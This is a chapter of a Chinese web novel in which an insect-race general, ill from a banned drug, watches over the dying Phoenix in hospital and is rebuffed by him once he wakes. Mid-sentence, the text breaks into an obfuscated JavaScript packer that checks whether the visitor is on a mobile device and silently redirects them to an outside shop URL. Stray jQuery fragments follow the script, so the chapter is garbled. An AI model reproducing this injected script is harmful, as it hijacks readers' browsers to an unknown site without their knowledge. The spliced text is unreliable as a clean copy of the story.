虫星最顶尖的医生都被急召到帝都医院,偌大的VIP病房里,菲尼克斯躺在床上,手上挂着营养液点滴。
罕见信息素综合症还没要了他的命,只是长久没进食,身体太过虚弱。
除了主治医生,其余闲杂虫等都不准进入病房。
相比于菲尼克斯,现下反倒是西泽的情况看着更严重一些,禁药已经完全发挥了作用,将军身上的皮肤简直没有一处能入眼。
神志也好像被侵蚀而变得缓钝,意识只专注在菲尼克斯一虫身上,西泽仰靠在床上充当虫形靠垫,把菲尼克斯整个儿拥入怀抱里,一手托着菲尼克斯打点滴的手,一手横抱着腰,脑袋侧脸都亲密地挨在一起。
虽说新版的禁药没有解药,但注射抑制剂好歹能延缓禁药的药效,主治医生为难地看向里尔,想向前为将军注射抑制剂又不敢。
“将军。”里尔上前一步。
西泽抬起头,将手臂露出来,让医生打了两针强效抑制剂。
“出去,我没事。”西泽只看了里尔一眼又收回目光。
里尔把医生叫着一起出了病房,反正菲尼克斯就在将军身旁,左右不会出什么大事,留点时间让将军冷静一下也好。
窗帘拉紧,门也被拉上,西泽躁动的心稍微平息一些,放轻动作埋头在菲尼克斯的脖子处嗅闻,心里无端的恐慌还在四处扩散。
“菲尼克斯。”西泽贴着菲尼克斯的耳朵叫,当然没能得到回应。
西泽不甘心,转头亲吻菲尼克斯干裂的嘴唇,菲尼克斯的唇色实在太过于苍白。
脑子的胀痛逐渐加剧,抑制剂里有镇定的成分,即使西泽努力强撑,眼皮也还是逐渐耷拉了下去,但手上的动作却没丝毫放松,拥抱着菲尼克斯陷入昏沉里。
菲尼克斯意识一直沉浮着,躺在小旅店时,房间不隔音,时不时就有各种动静传到耳朵里。
他都快习惯噪音了,突然世界里一片安静。
菲尼克斯想要睁开眼看看,可上下眼皮仿佛被强力胶粘在了一起,他也就放弃了,任由自己往意识更深处下落。
病房里的监控随时开着,几乎是西泽一昏迷,里尔就带着医生进来,进一步给西泽和菲尼克斯做检查。
菲尼克斯的营养液也快输完,后续的应对罕见信息素综合症的手术事宜,也得等这两只虫都醒过来才能商量。
眼看将军用别扭的姿态拥抱着菲尼克斯,里尔叹气,把房门拉好走了出去。
还在半夜,西泽就先醒过来,身体一颤猛地睁开眼,敏锐的视线捕捉到躺在身旁的菲尼克斯,浑身的肌肉才放松下来。
菲尼克斯呼吸清浅,西泽趴在他胸口听了好一会儿才抬起头,伸长手把他往自己怀里圈紧。
逐渐清明的意识终于记起另一件大事,可出去找医生就得离开菲尼克斯,抱着菲尼克斯出门也太折腾他,西泽恍恍惚惚的,头痛欲裂,想着再抱一会儿就松手,去找医生商量手术的事情。
病房门在这时候被推开,病房的状态都被密切关注着,正好亚特修得到消息从贫民区赶来,见到西泽醒来后,里尔带着亚特修缓步进到病房里。
亚特修着急地想看菲尼克斯的情况,可西泽像护幼崽一般把菲尼克斯护在怀里,亚特修只能看见菲尼克斯散乱的头发。
再想靠近些就不行了,西泽已经进入戒备状态。
“西泽将军真的会救菲尼克斯雄子吗?”亚特修紧握着什么,反复询问里尔。
里尔点头,亚特修已经知道西泽注射禁药找回菲尼克斯的事情。
再看看眼前这幅景象,先不说只是进行血液置换手术,就是一命换一命,里尔觉得现在发疯的西泽也能做得出来。
“现在棘手的就是将军注/射了太多禁药,神志不大清醒,医生想进一步给菲尼克斯做个全面的检查都难。”
亚特修沉默了一会儿,握紧的手拿起又放下,最终下定决心。
“我有办法。”亚特修伸出手,掌心里是被体温焐热的一个小玻璃瓶,玻璃瓶里流淌着半瓶淡蓝色的液体。
西泽几乎是瞬间就被这个小物件吸引住目光。
亚特修不舍地把玻璃瓶交出去,菲尼克斯雄子要是知道他这么做,肯定会骂他的,但是只有西泽好起来,他们才能进行手术,菲尼克斯雄子才有活着的机会。
而现在,提纯的信息素便是西泽最好的解药。
西泽将那个小玻璃瓶握紧在手心,拿出来看一眼又藏进胸口,有湿润的水光闪过。
里尔在一旁看得震惊,信息素这样私密重要的东西,菲尼克斯在最后冒着性命危险也要提纯出来的一小瓶,竟然是留给亚特修的。
那天破门进去,亚特修亲吻菲尼克斯的画面还历历在目,那菲尼克斯和亚特修现在的关系?里尔不敢细想。
高浓度的信息素自然是最好的解药,第二天早上,西泽是自己出来的病房,神情也不若昨晚那般痴狂,只是视线在看向亚特修时,多停留了几秒。
号称全虫星最权威的医生,在面对西泽将军时谨慎又谨慎,毕竟罕见信息素综合症几百年遇不到一例,医生也只是在理论研究上略胜一筹,但在实际操作上,却也是新手一个。
从未有治愈案例,死亡率百分之百,如果绝对匹配带不来奇迹,西泽将军跟着菲尼克斯一起出事,那医生们将成为全虫星的罪虫。
“什么时候可以安排手术?”西泽沉声询问。
“将军,菲尼克斯雄子的身体远达不到手术指标,即使时间紧急,也得先缓一缓,至少菲尼克斯雄子得醒过来。”
医生还是抱有私心,菲尼克斯已经奄奄一息,西泽将军则关乎整个虫星的未来走向,这台高风险的手术还是不做最好。
“将军,这台手术实在危险,我私以为对菲尼克斯雄子还是保守治疗为好。”医生劝解道,对于没有一丝把握的事情,这件事开不得玩笑。
“菲尼克斯的病已经很严重,如果实在清醒不过来,你要随时做好手术的准备。”西泽并没有接医生的话茬,仔细交代道。
明明是平静无波澜的语气,医生却有些脊背发凉,“是的,将军。”
主治医生走后,西泽回到病房里陪着菲尼克斯,意识清醒后,虫星一大堆的事情还在等着他的抉择,其
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437484|141489||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中最紧要的便是温特伯恩越狱和潜在的禁药卷土重来危机。
医生说菲尼克斯很快就会醒过来,西泽坐在床边的凳子上,忙里抽闲地部署工作,如果手术出了意外,必须有虫接手这些危急虫民的事情。
菲尼克斯的手背因为扎针而青紫一片,冰冷,西泽给摸着焐了一会儿。
等着等着,眼看又要日落西斜。
西泽沉默地盯着菲尼克斯看了良久,去浴室打了一盆热水端出来,拔掉了病房的监控摄像头,反锁门,拉进窗帘。
西泽将毛巾沾湿,解开菲尼克斯的衣裳,一一仔细擦过他的身体,毛巾凉了就再反复侵湿扭干。
擦拭到下/半身体的时候,西泽顿了一瞬,菲尼克斯瘦得仿佛只剩下细长的骨架,大腿皮肤上面星星点点骇人的瘀斑比胸膛还密集。
狼狈不堪的皮肉下还是菲尼克斯鲜活独特的灵魂,西泽近乎虔诚地在他胸口上落下一吻,眼角热胀泛酸,感受着菲尼克斯微弱但从未停止的心跳。
抬眼,忽的就落入菲尼克斯迷蒙的目光里。
“西泽?”菲尼克斯的破锣嗓子,几乎只送出了个气声,还在中途劈了个叉。
西泽压抑不住喜悦,“你醒了。”
“滚开。”菲尼克斯不耐道,对于现下陌生环境没一点把握,不知道事情始末的感觉让他很烦躁。
西泽身体一僵,没有松开拉着菲尼克斯的手。
菲尼克斯的破嗓子却恢复了些,身体痛地难受皱眉,“我怎么都要死了还甩不掉你,离我远点。”
菲尼克斯觉得想痛快点死也是一件难事,不知道西泽怎么找到他的,又把他拖回医院,苟延残喘地给他续上了命。
就像现在,西泽端着一碗几乎全是清汤的白粥,举着勺子硬要喂他吃饭。
菲尼克斯忍无可忍,积攒起力气伸手一扬,汤汤水水全落到西泽身上,陶瓷的碗落到地上摔成了几块。
“我让你滚,听不明白吗?”菲尼克斯只恨现在说话都费力气,狼狈不堪。
西泽脱了满是清汤米粒的衣服,打着赤膊,捡起勺子洗干净,直接把保温桶当碗,舀起一勺吹凉了往菲尼克斯嘴边送。
简直油盐不进。
“西泽,你可以不要恶心我了吗?”菲尼克斯真的只剩下满心厌恶。
“我会救你。”西泽笃定地回答。
“你要救我?”菲尼克斯仿佛听到什么天大的笑话,“你不是巴不得我死吗?救我对你有什么好处?”
靠在抬高的病床上,菲尼克斯看着西泽被虫纹占领的,没一处好皮肤的模样,又恍然明白些什么。
“想要我的信息素?。”
“我要你活着。”西泽固执地重复,固执地又舀起一勺清汤白粥,喂到菲尼克斯嘴边,墨黑的眼里看不出情绪,却又好像有万般情绪。
菲尼克斯冷冷地和他对视半响,伸手打掉了近在咫尺的勺子,这次,粘稠的米汤落在了他自己的手背上,勺子在地上叮当响。
西泽抽出纸巾想要给他擦,被菲尼克斯抬手躲过,“我怎么样都跟你没有任何关系,你别又在我这儿犯贱。”